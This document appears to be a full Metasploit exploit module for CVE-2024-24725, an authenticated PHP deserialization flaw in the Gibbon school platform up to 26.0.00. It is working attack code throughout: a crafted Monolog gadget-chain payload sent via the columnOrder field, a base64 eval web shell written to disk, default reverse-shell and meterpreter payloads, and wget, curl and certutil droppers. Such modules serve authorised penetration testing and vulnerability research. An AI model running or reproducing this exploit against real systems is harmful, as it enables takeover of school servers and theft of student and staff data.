Gibbon School Platform 26.0.00 Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Gibbon School Platform Authenticated PHP Deserialization Vulnerability',        'Description' => %q{          A Remote Code Execution vulnerability in Gibbon online school platform version 26.0.00 and lower          allows remote authenticated users to conduct PHP deserialization attacks via columnOrder in a          POST request to the endpoint `/modules/System%20Admin/import_run.php&type=externalAssessment&step=4`.          As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,          potentially resulting in complete system compromise, data exfiltration, or unauthorized access          to sensitive information.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor          'Ali Maharramli', # SecondX.io Research Team - discovery of the vulnerability          'Fikrat Guliev', # SecondX.io Research Team - discovery of the vulnerability          'Islam Rzayev' # SecondX.io Research Team - discovery of the vulnerability        ],        'References' => [          ['CVE', '2024-24725'],          ['URL', 'https://attackerkb.com/topics/ogKGAB44BP/cve-2024-24725'],          ['PACKETSTORM', '177635'],          ['EDB', '51903']        ],        'DisclosureDate' => '2024-03-18',        'Platform' => ['php', 'unix', 'linux', 'win'],        'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86],        'Privileged' => false,        'Targets' => [          [            'PHP',            {              'Platform' => ['php'],              'Arch' => ARCH_PHP,              'Type' => :php,              'DefaultOptions' => {                'PAYLOAD' => 'php/meterpreter/reverse_tcp'              }            }          ],          [            'Unix Command',            {              'Platform' => ['unix', 'linux'],              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],          [            'Linux Dropper',            {              'Platform' => ['linux'],              'Arch' => [ARCH_X64, ARCH_X86],              'Type' => :linux_dropper,              'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'],              'Linemax' => 16384,              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ],          [            'Windows Command',            {              'Platform' => 'win',              'Arch' => ARCH_CMD,              'Type' => :windows_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/windows/powershell/x64/meterpreter/reverse_tcp'              }            }          ],          [            'Windows Dropper',            {              'Platform' => 'win',              'Arch' => [ARCH_X64, ARCH_X86],              'Type' => :windows_dropper,              'Linemax' => 16384,              'CmdStagerFlavor' => ['psh_invokewebrequest', 'vbs', 'debug_asm', 'debug_write', 'certutil'],              'DefaultOptions' => {                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'SSL' => true,          'RPORT' => 443        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options([      OptString.new('TARGETURI', [ true, 'The Gibbon online school platform endpoint URL', '/' ]),      OptString.new('WEBSHELL', [false, 'Set webshell name without extension. Name will be randomly generated if left unset.', nil]),      OptString.new('USERNAME', [true, 'Gibbon username to login, typically an e-mail address']),      OptString.new('PASSWORD', [true, 'Password'])    ])  end  def gibbon_login    # construct multipart login form data    form_data = Rex::MIME::Message.new    form_data.add_part('', nil, nil, 'form-data; name="address"')    form_data.add_part('default', nil, nil, 'form-data; name="method"')    form_data.add_part(datastore['USERNAME'].to_s, nil, nil, 'form-data; name="username"')    form_data.add_part(datastore['PASSWORD'].to_s, nil, nil, 'form-data; name="password"')    form_data.add_part('025', nil, nil, 'form-data; name="gibbonSchoolYearID"')    form_data.add_part('0002', nil, nil, 'form-data; name="gibboni18nID"')    return send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'login.php?timeout=true'),      'keep_cookies' => true,      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",      'data' => form_data.to_s    })  end  def construct_form_data(payload)    # construct multipart form data with payload    payload_len = payload.length    payload_data = "a:2:{i:7;O:32:\"Monolog\\Handler\\SyslogUdpHandler\":1:{s:9:\"\x00*\x00socket\";O:29:\"Monolog\\Handler\\BufferHandler\":7:{s:10:\"\x00*\x00handler\";r:3;s:13:\"\x00*\x00bufferSize\";i:-1;s:9:\"\x00*\x00buffer\";a:1:{i:0;a:2:{i:0;s:#{payload_len}:\"#{payload}\";s:5:\"level\";N;}}s:8:\"\x00*\x00level\";N;s:14:\"\x00*\x00initialized\";b:1;s:14:\"\x00*\x00bufferLimit\";i:-1;s:13:\"\x00*\x00processors\";a:2:{i:0;s:7:\"current\";i:1;s:6:\"system\";}}}i:7;i:7;}"    form_data = Rex::MIME::Message.new    form_data.add_part('/modules/System Admin/import_run.php', nil, nil, 'form-data; name="address"')    form_data.add_part('sync', nil, nil, 'form-data; name="mode"')    form_data.add_part('N', nil, nil, 'form-data; name="syncField"')    form_data.add_part('', nil, nil, 'form-data; name="syncColumn"')    form_data.add_part(payload_data.to_s, nil, nil, 'form-data; name="columnOrder"')    form_data.add_part('N;', nil, nil, 'form-data; name="columnText"')    form_data.add_part('%2C', nil, nil, 'form-data; name="fieldDelimiter"')    form_data.add_part('%22', nil, nil, 'form-data; name="stringEnclosure"')    form_data.add_part("#{Rex::Text.rand_text_alpha(8..16)}.xlsx", nil, nil, 'form-data; name="filename"')    form_data.add_part('"External Assessment","Assessment Data","Student","Field Name","Category","Field Name","Result"', nil, nil, 'form-data; name="csvData"')    form_data.add_part('1', nil, nil, 'form-data; name="ignoreErrors"')    form_data.add_part('Submit', nil, nil, 'form-data; name="Failed"')    return form_data  end  def upload_webshell(b64_payload)    # randomize file name if option WEBSHELL is not set    @webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : "#{datastore['WEBSHELL']}.php")    # create webshell with base64 encoded PHP payload    # works for both windows and linux targets    php_payload = "echo \"<?php @eval(base64_decode(\'#{b64_payload}\'));?>\" > #{@webshell_name}"    form_data = construct_form_data(php_payload)    # upload webshell    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4'),      'keep_cookies' => true,      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",      'data' => form_data.to_s    })  end  def execute_php(cmd, _opts = {})    payload = Base64.strict_encode64(cmd)    res = upload_webshell(payload)    fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200    register_file_for_cleanup(@webshell_name)    # execute webshell    send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, @webshell_name),      'keep_cookies' => true    })  end  def execute_command(cmd, _opts = {})    form_data = construct_form_data(cmd)    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4'),      'keep_cookies' => true,      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",      'data' => form_data.to_s    })  end  def check    print_status("Checking if #{peer} can be exploited.")    res = send_request_cgi!({      'method' => 'GET',      'ctype' => 'application/x-www-form-urlencoded',      'uri' => normalize_uri(target_uri.path)    })    return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200    # check if target is running the Gibbon online school platform    # search for the Gibbon version on the login page    return CheckCode::Safe('No Gibbon school platform found.') unless res.body.include?('Gibbon')    # trying to get the version    version = res.body.match(/Gibbon.*v(\d+\.\d+\.\d+)/)    version_number = version[0].split('v') unless version.nil?    if version_number      if Rex::Version.new(version_number[1]) <= Rex::Version.new('26.0.00')        return CheckCode::Appears("Gibbon v#{version_number[1]}")      else        return CheckCode::Safe("Gibbon v#{version_number[1]}")      end    end    CheckCode::Detected  end  def exploit    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    res = gibbon_login    fail_with(Failure::NoAccess, "Login failed with user #{datastore['USERNAME']} and password #{datastore['PASSWORD']}.") unless res && res.code == 302    case target['Type']    when :php      execute_php(payload.encoded)    when :unix_cmd, :windows_cmd      execute_command(payload.encoded)    when :linux_dropper, :windows_dropper      # don't check the response here since the server won't respond      # if the payload is successfully executed.      execute_cmdstager({ linemax: target.opts['Linemax'] })    end  endend